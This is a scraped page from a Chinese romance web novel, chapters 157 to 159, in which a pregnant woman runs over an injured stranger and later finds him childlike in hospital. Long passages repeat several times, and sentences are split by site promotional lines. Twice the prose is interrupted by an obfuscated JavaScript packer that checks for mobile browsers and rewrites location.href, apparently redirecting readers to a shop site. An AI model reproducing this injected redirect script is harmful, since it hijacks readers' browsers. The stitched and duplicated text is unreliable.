佣人端着早餐走过来,见她盯着电视出神,忍不住多嘴,“少夫人,今天周家大少爷结婚呢,电视上都播疯了。听说场面大得很,包下了整个国际会展中心,全京市的名流都要去捧场,光是安保就请了好几百人呢。” 岑予衿收回目光,淡淡“嗯”了一声,拿起勺子慢慢搅动着碗里的燕窝粥,粥里的红枣和枸杞浮浮沉沉,可她却没什么胃口。 “那您和先生……”佣人犹豫了一下,还是忍不住问道,“周大少爷是您大哥,按说您是该去的,先生他……” “他出差了。”岑予衿打断她的话,语气平静得听不出丝毫波澜,“婚礼我们就不去了。” 佣人了然地点点头,没再追问。在檀月山庄,陆京洲对岑予衿的宠爱是人尽皆知的,先生不在家,少夫人不想去,自然是没人敢勉强的。 岑予衿小口小口地喝着粥,目光却不由自主地又飘向电视。 屏幕上,周时越正温柔地替林舒薇理了理额前的碎发,动作亲昵,眼神缱绻,郎才女貌的画面,羡煞旁人。 可岑予衿看着,心里却没有半分波澜,既不觉得嫉妒,也不觉得难过,只觉得心口堵得慌。 堵得慌,不是因为周时越,也不是因为那场盛大的婚礼,而是因为陆京洲。 她想他了。 想他身上清冽的松香气息,想他抱着她时温热的体温,想他低头吻她时的温柔,想他昨夜离开前,紧紧握着她的手,说那句“媳妇儿,等我电话”时的模样。 他现在到哪里了?飞机有没有遇到颠簸? 有没有按时吃饭? 这些念头像潮水一样涌上来,密密麻麻地填满了她的心房。 岑予衿放下勺子,拿出手机,解锁屏幕,看着通讯录里那个置顶的名字,指尖微微颤抖。 她犹豫了很久,最终还是点开对话框,没有提婚礼的事,也没有说自己的想念,只简单地写着,一路平安,到了记得告诉我。 发送成功的提示弹出,她盯着屏幕看了许久,直到眼睛发酸,才将手机放回口袋。 窗外的阳光越来越盛,透过巨大的落地窗洒在地板上,暖融融的,将客厅里的一切都镀上了一层金边。 佣人已经将电视的声音调小了,屋子里安静得只剩下墙上挂钟滴答作响的声音。 可岑予衿的心,却像是被什么东西揪着,沉甸甸的,连呼吸都觉得有些费力。 她抬手,轻轻覆在小腹上,那里传来微弱的悸动,像是两个小家伙在轻轻踢她,像是在安慰她,又像是在提醒她,你不是一个人。 岑予衿弯了弯嘴角,眼底终于泛起一丝暖意。 是啊,她不是一个人。 她还有宝宝,还有陆京洲。 她能做的,就是守好这栋房子,守好肚子里的宝宝,安安静静地等陆京洲回来。 等他回来,听他说一句“我到了”,听他说一句“我想你了”,听他说一句“媳妇儿,我回来了”。 岑予衿不想一个人在房间里待着,想去公司看看。 房间里都是陆京洲的味道,她会控制不住的想他。 然而才刚出檀月山庄的大门,就出事儿了——出车祸撞到了人! 上,帮不了她。 她孤身一人,肚子里还揣着两个未足月的宝宝,别说去搞事情,就算只是安安静静地坐在那里,都难保不会被林舒薇盯上。 那个女人的心机有多深,手段有多狠,她比谁都清楚。 她不能冒险。 陆京洲不在身边,她就是自己和两个孩子的铠甲,不能有半分侥幸,不能拿孩子的安危去赌。 佣人端着早餐走过来,见她盯着电视出神,忍不住多嘴,“少夫人,今天周家大少爷结婚呢,电视上都播疯了。听说场面大得很,包下了整个国际会展中心,全京市的名流都要去捧场,光是安保就请了好几百人呢。” 岑予衿收回目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882737|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,淡淡“嗯”了一声,拿起勺子慢慢搅动着碗里的燕窝粥,粥里的红枣和枸杞浮浮沉沉,可她却没什么胃口。 “那您和先生……”佣人犹豫了一下,还是忍不住问道,“周大少爷是您大哥,按说您是该去的,先生他……” “他出差了。”岑予衿打断她的话,语气平静得听不出丝毫波澜,“婚礼我们就不去了。” 佣人了然地点点头,没再追问。在檀月山庄,陆京洲对岑予衿的宠爱是人尽皆知的,先生不在家,少夫人不想去,自然是没人敢勉强的。 岑予衿小口小口地喝着粥,目光却不由自主地又飘向电视。 屏幕上,周时越正温柔地替林舒薇理了理额前的碎发,动作亲昵,眼神缱绻,郎才女貌的画面,羡煞旁人。 可岑予衿看着,心里却没有半分波澜,既不觉得嫉妒,也不觉得难过,只觉得心口堵得慌。 堵得慌,不是因为周时越,也不是因为那场盛大的婚礼,而是因为陆京洲。 她想他了。 想他身上清冽的松香气息,想他抱着她时温热的体温,想他低头吻她时的温柔,想他昨夜离开前,紧紧握着她的手,说那句“媳妇儿,等我电话”时的模样。 他现在到哪里了?飞机有没有遇到颠簸? 有没有按时吃饭? 这些念头像潮水一样涌上来,密密麻麻地填满了她的心房。 岑予衿放下勺子,拿出手机,解锁屏幕,看着通讯录里那个置顶的名字,指尖微微颤抖。 她犹豫了很久,最终还是点开对话框,没有提婚礼的事,也没有说自己的想念,只简单地写着,一路平安,到了记得告诉我。 发送成功的提示弹出,她盯着屏幕看了许久,直到眼睛发酸,才将手机放回口袋。 窗外的阳光越来越盛,透过巨大的落地窗洒在地板上,暖融融的,将客厅里的一切都镀上了一层金边。 佣人已经将电视的声音调小了,屋子里安静得只剩下墙上挂钟滴答作响的声音。 可岑予衿的心,却像是被什么东西揪着,沉甸甸的,连呼吸都觉得有些费力。 她抬手,轻轻覆在小腹上,那里传来微弱的悸动,像是两个小家伙在轻轻踢她,像是在安慰她,又像是在提醒她,你不是一个人。 岑予衿弯了弯嘴角,眼底终于泛起一丝暖意。 是啊,她不是一个人。 她还有宝宝,还有陆京洲。 她能做的,就是守好这栋房子,守好肚子里的宝宝,安安静静地等陆京洲回来。 等他回来,听他说一句“我到了”,听他说一句“我想你了”,听他说一句“媳妇儿,我回来了”。 岑予衿不想一个人在房间里待着,想去公司看看。 房间里都是陆京洲的味道,她会控制不住的想他。 然而才刚出檀月山庄的大门,就出事儿了——出车祸撞到了人! 上,帮不了她。 她孤身一人,肚子里还揣着两个未足月的宝宝,别说去搞事情,就算只是安安静静地坐在那里,都难保不会被林舒薇盯上。 那个女人的心机有多深,手段有多狠,她比谁都清楚。 她不能冒险。 陆京洲不在身边,她就是自己和两个孩子的铠甲,不能有半分侥幸,不能拿孩子的安危去赌。 佣人端着早餐走过来,见她盯着电视出神,忍不住多嘴,“少夫人,今天周家大少爷结婚呢,电视上都播疯了。听说场面大得很,包下了整个国际会展中心,全京市的名流都要去捧场,光是安保就请了好几百人呢。” 岑予衿收回目光,淡淡“嗯”了一声,拿起勺子慢慢搅动着碗里的燕窝粥,粥里的红枣和枸杞浮浮沉沉,可她却没什么胃口。 “那您和先生……”佣人犹豫了一下,还是忍不住问道,“周大少爷是您大哥,按说您是该去的,先生他……” “他出差了。”岑予衿打断她的话,语气平静得听不出丝毫波澜,“婚礼我们就不去了。” 佣人了然地点点头,没再追问。在檀月山庄,陆京洲对岑予衿的宠爱是人尽皆知的,先生不在家,少夫人不想去,自然是没人敢勉强的。 岑予衿小口小口地喝着粥,目光却不由自主地又飘向电视。 屏幕上,周时越正温柔地替林舒薇理了理额前的碎发,动作亲昵,眼神缱绻,郎才女貌的画面,羡煞旁人。 可岑予衿看着,心里却没有半分波澜,既不觉得嫉妒,也不觉得难过,只觉得心口堵得慌。 堵得慌,不是因为周时越,也不是因为那场盛大的婚礼,而是因为陆京洲。 她想他了。 想他身上清冽的松香气息,想他抱着她时温热的体温,想他低头吻她时的温柔,想他昨夜离开前,紧紧握着她的手,说那句“媳妇儿,等我电话”时的模样。 他现在到哪里了?飞机有没有遇到颠簸? 有没有按时吃饭? 这些念头像潮水一样涌上来,密密麻麻地填满了她的心房。 岑予衿放下勺子,拿出手机,解锁屏幕,看着通讯录里那个置顶的名字,指尖微微颤抖。 她犹豫了很久,最终还是点开对话框,没有提婚礼的事,也没有说自己的想念,只简单地写着,一路平安,到了记得告诉我。 发送成功的提示弹出,她盯着屏幕看了许久,直到眼睛发酸,才将手机放回口袋。 窗外的阳光越来越盛,透过巨大的落地窗洒在地板上,暖融融的,将客厅里的一切都镀上了一层金边。 佣人已经将电视的声音调小了,屋子里安静得只剩下墙上挂钟滴答作响的声音。 可岑予衿的心,却像是被什么东西揪着,沉甸甸的,连呼吸都觉得有些费力。 她抬手,轻轻覆在小腹上,那里传来微弱的悸动,像是两个小家伙在轻轻踢她,像是在安慰她,又像是在提醒她,你不是一个人。 岑予衿弯了弯嘴角,眼底终于泛起一丝暖意。 是啊,她不是一个人。 她还有宝宝,还有陆京洲。 她能做的,就是守好这栋房子,守好肚子里的宝宝,安安静静地等陆京洲回来。 等他回来,听他说一句“我到了”,听他说一句“我想你了”,听他说一句“媳妇儿,我回来了”。 岑予衿不想一个人在房间里待着,想去公司看看。 房间里都是陆京洲的味道,她会控制不住的想他。 然而才刚出檀月山庄的大门,就出事儿了——出车祸撞到了人! 上,帮不了她。 她孤身一人,肚子里还揣着两个未足月的宝宝,别说去搞事情,就算只是安安静静地坐在那里,都难保不会被林舒薇盯上。 那个女人的心机有多深,手段有多狠,她比谁都清楚。 她不能冒险。 陆京洲不在身边,她就是自己和两个孩子的铠甲,不能有半分侥幸,不能拿孩子的安危去赌。 佣人端着早餐走过来,见她盯着电视出神,忍不住多嘴,“少夫人,今天周家大少爷结婚呢,电视上都播疯了。听说场面大得很,包下了整个国际会展中心,全京市的名流都要去捧场,光是安保就请了好几百人呢。” 岑予衿收回目光,淡淡“嗯”了一声,拿起勺子慢慢搅动着碗里的燕窝粥,粥里的红枣和枸杞浮浮沉沉,可她却没什么胃口。 “那您和先生……”佣人犹豫了一下,还是忍不住问道,“周大少爷是您大哥,按说您是该去的,先生他……” “他出差了。”岑予衿打断她的话,语气平静得听不出丝毫波澜,“婚礼我们就不去了。” 佣人了然地点点头,没再追问。在檀月山庄,陆京洲对岑予衿的宠爱是人尽皆知的,先生不在家,少夫人不想去,自然是没人敢勉强的。 岑予衿小口小口地喝着粥,目光却不由自主地又飘向电视。 屏幕上,周时越正温柔地替林舒薇理了理额前的碎发,动作亲昵,眼神缱绻,郎才女貌的画面,羡煞旁人。 可岑予衿看着,心里却没有半分波澜,既不觉得嫉妒,也不觉得难过,只觉得心口堵得慌。 堵得慌,不是因为周时越,也不是因为那场盛大的婚礼,而是因为陆京洲。 她想他了。 想他身上清冽的松香气息,想他抱着她时温热的体温,想他低头吻她时的温柔,想他昨夜离开前,紧紧握着她的手,说那句“媳妇儿,等我电话”时的模样。 他现在到哪里了?飞机有没有遇到颠簸? 有没有按时吃饭? 这些念头像潮水一样涌上来,密密麻麻地填满了她的心房。 岑予衿放下勺子,拿出手机,解锁屏幕,看着通讯录里那个置顶的名字,指尖微微颤抖。 她犹豫了很久,最终还是点开对话框,没有提婚礼的事,也没有说自己的想念,只简单地写着,一路平安,到了记得告诉我。 发送成功的提示弹出,她盯着屏幕看了许久,直到眼睛发酸,才将手机放回口袋。 窗外的阳光越来越盛,透过巨大的落地窗洒在地板上,暖融融的,将客厅里的一切都镀上了一层金边。 佣人已经将电视的声音调小了,屋子里安静得只剩下墙上挂钟滴答作响的声音。 可岑予衿的心,却像是被什么东西揪着,沉甸甸的,连呼吸都觉得有些费力。 她抬手,轻轻覆在小腹上,那里传来微弱的悸动,像是两个小家伙在轻轻踢她,像是在安慰她,又像是在提醒她,你不是一个人。 岑予衿弯了弯嘴角,眼底终于泛起一丝暖意。 是啊,她不是一个人。 她还有宝宝,还有陆京洲。 她能做的,就是守好这栋房子,守好肚子里的宝宝,安安静静地等陆京洲回来。 等他回来,听他说一句“我到了”,听他说一句“我想你了”,听他说一句“媳妇儿,我回来了”。 岑予衿不想一个人在房间里待着,想去公司看看。 房间里都是陆京洲的味道,她会控制不住的想他。 然而才刚出檀月山庄的大门,就出事儿了——出车祸撞到了人! 第158章 医生他怎么样? 车子在檀月山庄外的林荫道上猛地刹住轮胎与地面摩擦发出刺耳的尖啸。 岑予衿的身体随着惯性狠狠前倾安全带瞬间勒紧她的腰腹一阵尖锐的酸胀感猛地从小腹蔓延开来。 她脸色煞白细密的冷汗顺着鬓角涔涔而下连呼吸都下意识放轻了几分。 “宝宝……”她颤抖着抬手捂住小腹指腹下传来温热的触感让她的心瞬间提到了嗓子眼心跳如擂鼓般震得耳膜发疼。 短暂的晕眩过后视线逐渐清晰她猛地抬头瞳孔骤然收缩。 车前不远处的地面上蜷缩着一个男人的身影他一动不动地趴在那里身下正有暗红色的液体汩汩涌出迅速在青石板路上洇开。 她真的撞到人了! 岑予衿的手抖得厉害几乎握不住方向盘指尖冰凉得像是浸在了冰水里。 她强迫自己冷静下来深吸了几口带着草木清香的冷空气腹中的不适感才稍微平缓了一些。 她其实没有受伤只是吓到了。 她解开安全带推开车门脚刚踩到地面时膝盖还软了一下险些栽倒。 “先生?你怎么样?”她快步绕到车头声音里带着抑制不住的颤抖目光紧紧锁在那个蜷缩的身影上。 走近了才看清男人的模样。 他穿着一件辨不出原本颜色的破烂衣衫布料上沾满了泥污和血渍 此刻他侧躺在地上左腿以一个极其不正常的角度扭曲着皮肉外翻身下那滩刺目的血迹正是从腿部伤口和身上其他深浅不一的擦伤处流出来的看得人触目惊心。 男人似乎还有一丝意识喉咙里发出微弱的呻吟身体因为剧痛而轻微抽搐着每一次颤动都牵扯着伤口让那滩血迹又扩大几分。 岑予衿蹲下身想要查看他的伤势手指伸到一半却又猛地顿住不敢随意挪动他的身体生怕造成二次伤害“你坚持一下我马上叫救护车!” 她慌乱地去摸口袋里的手机指尖冰凉得发僵连解锁屏幕都试了好几次才成功。 就在这时那男人像是感应到了什么艰难地掀开眼皮。 那双眼睛藏在厚重的污垢后却异常清亮只是此刻盛满了痛苦像淬了冰的碎钻闪烁着破碎的光。 他的目光在接触到岑予衿的脸时似乎极快地闪过一丝难以辨认的痛楚和挣扎快得让岑予衿以为是自 听说看这本书的人都是很幸运的,分享后你的运气会更棒 己的错觉。 “救……救我……他气若游丝,干裂的嘴唇翕动着,声音微弱得几乎听不清,却带着一股近乎哀求的执念。 “我会救你的,你別怕。岑予衿心头一紧,连忙拨通了急救电话,语速极快地向接线员说明情况,“喂?急救中心吗?檀月山庄外的林荫道,这里有人被车撞了,左腿开放性骨折,失血很多!还有,我是个孕妇,刚才受到了惊吓,小腹有点不舒服!麻烦你们快点! 挂断电话后,她又立刻翻出通讯录,打给了陆京洲留在檀月山庄的保镖队长。 电话接通的瞬间,她紧绷的声音终于带上了一丝哭腔,“张队长,我在山庄外的林荫道**了,你们快派人过来!还有,救护车已经叫了,你们尽快到现场维持秩序! 电话那头的张队长显然也慌了,连声应着:“少夫人您别急,我们马上到!您先待在车里别乱跑,保护好自己! “我没在车里,伤者情况很严重,我得看着他。岑予衿咬着唇,挂断了电话,重新蹲回男人身边。 等待救援的每一秒都格外漫长。 冬天的寒风带着凉意吹过,卷起地上的落叶,拂过岑予衿的脸颊,她却觉得浑身燥热,心慌得厉害,连手心都被冷汗浸湿了。 她不敢离开伤者半步,只能半跪在旁边,一遍又一遍地轻声安慰,“救护车马上就来了,你再坚持一会儿,会没事的。 男人的意识时而清醒时而模糊,嘴里喃喃着听不清的呓语,像是在喊着什么人的名字,又像是在忍受着无边的痛苦。 岑予衿凑近了些,隐约听到几个破碎的音节,却怎么也听不真切。 她注意到他的手指紧紧抠着地面,指节泛着惨白的颜色,指甲缝里塞满了泥垢,显然是在忍受着常人难以想象的剧痛。 目光下移,她看到他破烂衣衫下露出的小臂上,除了新添的擦伤和淤青,还有许多深浅不一的疤痕,纵横交错,像是经历过什么惨烈的过往。 再看他身上那件衣衫,虽然破旧不堪,但没破损的地方,面料摸起来细腻柔软,带着一种高级面料特有的质感,绝不是普通流浪汉会穿的衣服。 他应该不是普通的流浪汉。 这个念头突兀地闯入岑予衿的脑海,让她心里泛起一丝疑惑。 可此刻她无暇细想,只盼着救护车和保镖能快点到。 没过多久,一阵急促的脚步声传来,张队长带着几个保镖匆匆赶到。 看到现场的情况,几个身经百战的保镖也忍不住面色 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 一变。 “少夫人!您没事吧?”张队长快步上前目光焦灼地扫过她苍白的脸色最后落在她微微隆起的小腹上语气里满是关切。 “我没事先救他!”岑予衿摇了摇头指着地上气息奄奄的男人声音因为紧张而有些沙哑“他流了好多血你们快给他止血!” “是!”张队长不敢怠慢立刻指挥手下的保镖行动。 几个保镖训练有素迅速从随身的急救包里拿出纱布和止血带小心翼翼地给男人处理伤口动作专业又利落同时还在周围拉起了警戒线避免无关人员靠近造成二次伤害。 岑予衿站在一旁看着他们忙碌的身影悬着的心稍微放下了一些。 就在这时远处终于传来了救护车尖锐的鸣笛声由远及近刺破了林间的宁静。 医护人员抬着担架匆匆跑来迅速对男人进行了初步的检查和处理然后小心翼翼地将他抬上担架推进了救护车。 “你是伤者家属吗?跟我们一起去医院吧需要你配合做一些检查和笔录。”一个护士转过头 “我是事故相关方。”岑予衿连忙点头“我跟你们去。” 她转头看向张队长简单交代了几句“张队长这里就交给你了你让人看着现场配合交警调查。还有这件事……暂时先别告诉阿洲他现在在国外我不想让他分心。” 张队长愣了一下随即点头应道“是少夫人。您放心去医院这边有我们。您自己也要注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她指尖冰凉地在屏幕上打字,一字一句都透着疲惫,“暂时不用告诉阿洲。全力配合医院救治伤者,另外,查一下他的身份,看看能不能找到他的家人。我现在在去医院的路上,有什么情况随时跟我说。” 放下手机,她疲惫地靠在座椅上,手掌轻轻覆盖着小腹,感受着腹中微弱的心跳,眼眶里的泪水终于忍不住滑落,砸在手背上,冰凉刺骨。 医院很快就到了。 伤者被医护人员直接推进了急诊手术室,手术室的门关上的那一刻,亮起了刺眼的红灯。 岑予衿去做了身体检查。 医生给她做了B超,确认胎儿一切正常,她悬着的心才彻底放下。 “孕妇受了惊吓,回去后要多休息,保持心情平稳,不要过度劳累。”医生叮嘱道。 岑予衿点了点头,道谢之后,便快步走到手术室外的长椅上坐下,目光紧紧盯着那扇紧闭的手术室门。 走廊里消毒水的气味浓重刺鼻,惨白的灯光从头顶洒落,映得四周的墙壁一片冰冷,空气中弥漫着一种压抑的寂静。 保镖安静地站在不远处,目光警惕地留意着周围的情况,不敢有丝毫松懈。 时间一分一秒过去,墙上的时钟滴答作响,每一声都像是敲在岑予衿的心上。 不知过了多久,手术室门上的红灯终于熄灭了。 岑予衿几乎是立刻从长椅上弹了起来,快步迎了上去。 手术室的门被推开,一个穿着白大褂的医生走了出来,摘下口罩,露出一张疲惫的脸。 “医生,他怎么样?”岑予衿攥紧了衣角,声音里带着一丝不易察觉的颤抖。 第159章 姐姐,我疼 医生看了她一眼,语气平静地说道,“放心吧,命保住了。左腿是胫腓骨开放性骨折,已经做了手术固定,失血过多的问题也解决了。 他身上还有多处软组织挫伤,加上旧伤感染,情况有点复杂。最麻烦的是,他脑部受到重创,颅内有淤血,什么时候能醒过来,不好说,可能是几天,也可能是……更久。” 岑予衿的心沉了沉,又追问道:“那他有没有生命危险?” “暂时没有,但是需要住院观察,后续还要做进一步的治疗和检查。”医生回答道,顿了顿,又看着她问道,“你是他家属?” 岑予衿犹豫了一下,摇了摇头,“我是事故相关方。对了,他身上有身份证明吗?” 医生遗憾地摇了摇头,“送来的时候身上空空如也,没有任何能证明身份的东西。警察也来过了,查了失踪人口信息库,暂时没有找到匹配的。” 岑予衿怔怔地站在原地,心里五味杂陈。 岑予衿沉默地点了点头,心底的沉重又添了几分。 她跟着医生去办了手续,预存了一大笔住院费,并恳请医院用最好的药和设备进行治疗。 随后,她指派了张队长留下的两名可靠保镖,让他们24小时轮班守在病房外,确保伤者不被任何人打扰,也确保有任何情况都能第一时间通知她。 “一旦他醒了,不论什么时候,立刻通知我。”离开前,她再次向守在门口的保镖和闻讯赶来的主治医生叮嘱,语气郑重。 主治医生应下,“陆太太请放心,病人一有清醒迹象,我们马上通知您。” 回到檀月山庄时,天已经完全黑了。冬日的夜来得早,寒风凛冽,山庄里灯火通明,却驱不散她心头的寒意和疲惫。 偌大的房子空空荡荡,往常觉得温馨安宁的所在,此刻却显得格外冷清。 她没什么胃口,勉强喝了点厨房特意炖的安神汤,洗了个热水澡,试图冲散浑身的乏力和不安。 温热的水流滑过肌肤,腹中的宝宝似乎感知到母亲情绪的波动,轻轻动了一下。岑予衿捂住小腹,感受着那微弱却真实存在的生命力,眼眶又有些发热。 “宝宝,你们要好好的。”她低声呢喃,像是在对宝宝说,也像是在对自己说,“妈妈会处理好的,爸爸很快就回来了。” 夜深了,她却辗转难眠。 一闭上眼,就是刺耳的刹车声、地上蔓延的血迹、那双痛苦却清亮的眼睛,还有那句微弱的“救救我”。 那个男人的身影和陆京洲 交替出现,让她心口揪紧。 岑予衿和完全睡不着,又打了个电话过去,问了一下医院他的情况。 如果……他**……那她估计一辈子都不能从阴影里走出来。 医生只说暂时没有生命危险。 她悬着的心是一点也没放下。 好在陆京洲那边是联系上了,他已经平安抵达了国外,已经加入了找人的队伍。 不过……没什么进展。 一个活生生的人就这么莫名其妙的失踪了。 陆京洲以前都是秒回消息的,这几天忙到轮回,火花都没续。 她只能把他的账号登过来自己续。 医院那边说他的情况已经开始好转了,只是还是没有要醒的迹象。 岑予衿心里面总觉得不舒服,还是决定去看他一眼,出事儿到现在他还没去看过呢。 岑予衿实在按捺不住心里的挂念和那份说不清道不明的责任感,决定亲自去医院看看。 午后的阳光透过医院走廊的窗户,在地上投下明晃晃的光斑,却驱不散空气里那股无处不在的消毒水味。 岑予衿在张队长的陪同下,来到VIP病房区。 保镖见她到来,恭敬地点头示意,轻轻打开了病房门。 病房里很安静,只有监测仪器发出规律而轻微的滴答声。 窗帘半拉着,光线有些昏暗。 空气中弥漫着药水,消毒剂和一丝若有若无的血腥气混合的味道。 岑予衿放轻脚步走进去,目光落在病床上。 几天过去,男人脸上的污垢和血痂已经被彻底清理干净。 此刻他静静地躺在雪白的病床上,头上缠着纱布,左腿打着厚重的石膏,身上连接着各种监测管线。 因为失血和伤痛,他的脸色异常苍白,近乎透明,嘴唇也失了血色,干裂起皮。 然而,当岑予衿看清那张脸时,呼吸却不由得微微一滞。 纵然是这般重伤昏迷、憔悴不堪的状态,也丝毫无法掩盖他五官本身的出色。 他的眉骨生得极好,鼻梁高挺如峰,下颌线清晰利落,即使闭着眼,也能看出脸部轮廓的深邃和立体。 睫毛很长,在苍白的面颊上投下淡淡的阴影。 他的头发被剃短了一些,露出饱满的额头,此刻那些脏污不再,柔顺的黑发衬得他的肤色愈发显得脆弱。 岑予衿见过不少容貌出众的人,她的陆京洲更是公认的样貌气度皆属顶尖。 但眼前这个男人… …他的英俊带着一种近乎凌厉的精致,是那种极具冲击力、让人过目难忘的长相。 比起陆京洲那种沉稳矜贵、久居上位蕴养出的气场,这个男人即使在昏迷中,眉宇间也仿佛凝聚着一股未曾散去的锋芒,还掺杂着些许历经磨折后沉淀下的冷硬。 确实……是极为少见的好样貌。 岑予衿心里下意识地比较了一下,客观地评价,比陆京洲或许稍逊半分气度风华,但单论五官的精致与冲击力,绝对称得上是超级大帅哥。 这个念头一闪而过,随即被她压下。 现在不是关注这个的时候。 她走近几步,仔细看了看监测仪上的数据,又看了看他毫无血色的脸和干裂的嘴唇。 “医生今天怎么说?”她轻声问跟在身边的保镖。 “早上主治医生来查过房,说颅内淤血有吸收的迹象,生命体征很平稳,腿上的伤口也没有感染。就是……还是没醒。”保镖低声汇报。 岑予衿点了点头,目光落在男人紧抿的唇上,对保镖说,“去问问护士,能不能用棉签沾点水给他润润嘴唇?看着太干了。” “是,少夫人。” 保镖转身出去。 岑予衿独自留在病房里,静静地看着床上昏迷不醒的人。 保镖转身出去,轻轻带上了门。 病房里只剩下仪器规律的滴答声,和床上那人微不可闻的呼吸声。 岑予衿看着那张苍白而俊美的脸,心底涌起一阵复杂的情绪,有愧疚,有怜悯,也有对他身份和遭遇的好奇。 她站了一会儿,觉得也该离开了,正准备转身,一只手猛地从病床上伸出,精准而用力地抓住了她的手腕! 那只手冰冷、瘦削,却带着一种垂死挣扎般的力道,攥得她生疼。 “啊!”岑予衿猝不及防,被吓了一跳,短促地惊呼了一声,心脏瞬间狂跳起来。 她猛地回头,对上了一双眼睛。 床上的人……醒了。 不知道他是什么时候醒的,那双之前紧闭的眼睛此刻睁得很大,瞳孔在昏暗的光线里显得有些涣散,却又死死地、一瞬不瞬地盯着她。 那双眼睛很漂亮,眼尾微微上挑,本该是有些凌厉风情的形状,此刻却盛满了茫然、脆弱,和一种浓得化不开的……委屈? 岑予衿僵在原地,手腕上的力道不轻,她试着轻轻挣了一下,没挣开,反而被他抓得更紧。 他似乎在发抖。 “你……你醒了?”岑予衿定了定神, 尽量放柔声音,怕刺激到他,“感觉怎么样?有没有哪里特别不舒服?我、我去叫医生……” 她的话没说完,就看见那双漂亮的眼睛里,迅速积聚起水汽,然后,大颗大颗的眼泪毫无征兆地滚落下来,顺着苍白的脸颊滑入鬓角,瞬间就打湿了枕头。 不是默默流泪,而是……毫无形象、撕心裂肺般的痛哭。 “呜……哇……”他像个受了天大委屈又无处诉说的孩子,嘴巴一扁,眼泪决堤,喉咙里发出压抑不住的、破碎的呜咽和嚎啕。 他的身体因为哭泣而剧烈颤抖,牵扯到伤口,脸上瞬间露出痛苦的神色,可即便如此,他抓着她手腕的手也没松开,哭声反而更大了,充满了绝望和依赖。 “疼……好疼……姐姐……我好疼啊……”他一边哭,一边含糊不清地喊着,声音沙哑得厉害,带着浓重的鼻音。 他的眼神没有焦距,哭得满脸是泪,表情是一种近乎稚气的、不加掩饰的委屈和恐惧。那神态,那言语,完全不像一个正常的、心智成熟的成年人。 岑予衿彻底愣住了,手腕上的冰凉触感和耳边震耳欲聋的哭声让她脑中一片空白。 她看着他哭得撕心裂肺、上气不接下气的样子,看着他因为疼痛和恐惧而扭曲的俊脸…… 这个看起来年纪甚至可能比陆京洲还要大一些的英俊男人,他的智力……好像不太正常? 至少,此刻他的行为举止更像一个懵懂受伤的孩子。 “别、别哭……”岑予衿手足无措,另一只没被抓住的手抬起,犹豫了一下,轻轻拍了拍他那只紧握着自己的手背,试图安抚,“没事了,你现在在医院,很安全,没有人打你了。医生马上就来,给你看看就不疼了,好吗?” 她的声音温柔,带着明显的哄劝意味。 可男人似乎听不懂,或者完全沉浸在自己的恐惧和疼痛里,只是哭得更凶了,一边哭一边含糊地重复,“姐姐……别丢下我……我怕……疼……” 尽量放柔声音,怕刺激到他,“感觉怎么样?有没有哪里特别不舒服?我、我去叫医生……” 她的话没说完,就看见那双漂亮的眼睛里,迅速积聚起水汽,然后,大颗大颗的眼泪毫无征兆地滚落下来,顺着苍白的脸颊滑入鬓角,瞬间就打湿了枕头。 不是默默流泪,而是……毫无形象、撕心裂肺般的痛哭。 “呜……哇……”他像个受了天大委屈又无处诉说的孩子,嘴巴一扁,眼泪决堤,喉咙里发出压抑不住的、破碎的呜咽和嚎啕。 他的身体因为哭泣而剧烈颤抖,牵扯到伤口,脸上瞬间露出痛苦的神色,可即便如此,他抓着她手腕的手也没松开,哭声反而更大了,充满了绝望和依赖。 “疼……好疼……姐姐……我好疼啊……”他一边哭,一边含糊不清地喊着,声音沙哑得厉害,带着浓重的鼻音。 他的眼神没有焦距,哭得满脸是泪,表情是一种近乎稚气的、不加掩饰的委屈和恐惧。那神态,那言语,完全不像一个正常的、心智成熟的成年人。 岑予衿彻底愣住了,手腕上的冰凉触感和耳边震耳欲聋的哭声让她脑中一片空白。 她看着他哭得撕心裂肺、上气不接下气的样子,看着他因为疼痛和恐惧而扭曲的俊脸…… 这个看起来年纪甚至可能比陆京洲还要大一些的英俊男人,他的智力……好像不太正常? 至少,此刻他的行为举止更像一个懵懂受伤的孩子。 “别、别哭……”岑予衿手足无措,另一只没被抓住的手抬起,犹豫了一下,轻轻拍了拍他那只紧握着自己的手背,试图安抚,“没事了,你现在在医院,很安全,没有人打你了。医生马上就来,给你看看就不疼了,好吗?” 她的声音温柔,带着明显的哄劝意味。 可男人似乎听不懂,或者完全沉浸在自己的恐惧和疼痛里,只是哭得更凶了,一边哭一边含糊地重复,“姐姐……别丢下我……我怕……疼……” 尽量放柔声音,怕刺激到他,“感觉怎么样?有没有哪里特别不舒服?我、我去叫医生……” 她的话没说完,就看见那双漂亮的眼睛里,迅速积聚起水汽,然后,大颗大颗的眼泪毫无征兆地滚落下来,顺着苍白的脸颊滑入鬓角,瞬间就打湿了枕头。 不是默默流泪,而是……毫无形象、撕心裂肺般的痛哭。 “呜……哇……”他像个受了天大委屈又无处诉说的孩子,嘴巴一扁,眼泪决堤,喉咙里发出压抑不住的、破碎的呜咽和嚎啕。 他的身体因为哭泣而剧烈颤抖,牵扯到伤口,脸上瞬间露出痛苦的神色,可即便如此,他抓着她手腕的手也没松开,哭声反而更大了,充满了绝望和依赖。 “疼……好疼……姐姐……我好疼啊……”他一边哭,一边含糊不清地喊着,声音沙哑得厉害,带着浓重的鼻音。 他的眼神没有焦距,哭得满脸是泪,表情是一种近乎稚气的、不加掩饰的委屈和恐惧。那神态,那言语,完全不像一个正常的、心智成熟的成年人。 岑予衿彻底愣住了,手腕上的冰凉触感和耳边震耳欲聋的哭声让她脑中一片空白。 她看着他哭得撕心裂肺、上气不接下气的样子,看着他因为疼痛和恐惧而扭曲的俊脸…… 